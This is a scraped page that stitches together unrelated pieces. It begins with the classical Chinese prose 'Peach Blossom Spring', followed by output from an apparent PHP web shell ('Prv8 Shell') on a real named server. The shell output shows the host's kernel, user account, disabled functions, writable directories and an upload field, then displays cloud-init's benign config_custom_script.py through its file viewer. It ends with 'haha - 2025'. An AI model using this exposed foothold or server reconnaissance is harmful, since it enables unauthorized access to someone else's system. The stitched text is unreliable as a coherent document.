晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/lib/python3.6/site-packages/cloudinit/sources/helpers/vmware/imc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python3.6/site-packages/cloudinit/sources/helpers/vmware/imc/config_custom_script.py
# Copyright (C) 2017 Canonical Ltd.
# Copyright (C) 2017-2019 VMware Inc.
#
# Author: Maitreyee Saikia <msaikia@vmware.com>
#
# This file is part of cloud-init. See LICENSE file for license information.

import logging
import os
import stat

from cloudinit import subp, util

LOG = logging.getLogger(__name__)


class CustomScriptNotFound(Exception):
    pass


class CustomScriptConstant:
    CUSTOM_TMP_DIR = "/root/.customization"

    # The user defined custom script
    CUSTOM_SCRIPT_NAME = "customize.sh"
    CUSTOM_SCRIPT = os.path.join(CUSTOM_TMP_DIR, CUSTOM_SCRIPT_NAME)
    POST_CUSTOM_PENDING_MARKER = "/.guest-customization-post-reboot-pending"
    # The cc_scripts_per_instance script to launch custom script
    POST_CUSTOM_SCRIPT_NAME = "post-customize-guest.sh"


class RunCustomScript:
    def __init__(self, scriptname, directory):
        self.scriptname = scriptname
        self.directory = directory
        self.scriptpath = os.path.join(directory, scriptname)

    def prepare_script(self):
        if not os.path.exists(self.scriptpath):
            raise CustomScriptNotFound(
                "Script %s not found!! Cannot execute custom script!"
                % self.scriptpath
            )

        util.ensure_dir(CustomScriptConstant.CUSTOM_TMP_DIR)

        LOG.debug(
            "Copying custom script to %s", CustomScriptConstant.CUSTOM_SCRIPT
        )
        util.copy(self.scriptpath, CustomScriptConstant.CUSTOM_SCRIPT)

        # Strip any CR characters from the decoded script
        content = util.load_file(CustomScriptConstant.CUSTOM_SCRIPT).replace(
            "\r", ""
        )
        util.write_file(
            CustomScriptConstant.CUSTOM_SCRIPT, content, mode=0o544
        )


class PreCustomScript(RunCustomScript):
    def execute(self):
        """Executing custom script with precustomization argument."""
        LOG.debug("Executing pre-customization script")
        self.prepare_script()
        subp.subp([CustomScriptConstant.CUSTOM_SCRIPT, "precustomization"])


class PostCustomScript(RunCustomScript):
    def __init__(self, scriptname, directory, ccScriptsDir):
        super(PostCustomScript, self).__init__(scriptname, directory)
        self.ccScriptsDir = ccScriptsDir
        self.ccScriptPath = os.path.join(
            ccScriptsDir, CustomScriptConstant.POST_CUSTOM_SCRIPT_NAME
        )

    def execute(self):
        """
        This method copy the post customize run script to
        cc_scripts_per_instance directory and let this
        module to run post custom script.
        """
        self.prepare_script()

        LOG.debug("Copying post customize run script to %s", self.ccScriptPath)
        util.copy(
            os.path.join(
                self.directory, CustomScriptConstant.POST_CUSTOM_SCRIPT_NAME
            ),
            self.ccScriptPath,
        )
        st = os.stat(self.ccScriptPath)
        os.chmod(self.ccScriptPath, st.st_mode | stat.S_IEXEC)
        LOG.info("Creating post customization pending marker")
        util.ensure_file(CustomScriptConstant.POST_CUSTOM_PENDING_MARKER)

haha - 2025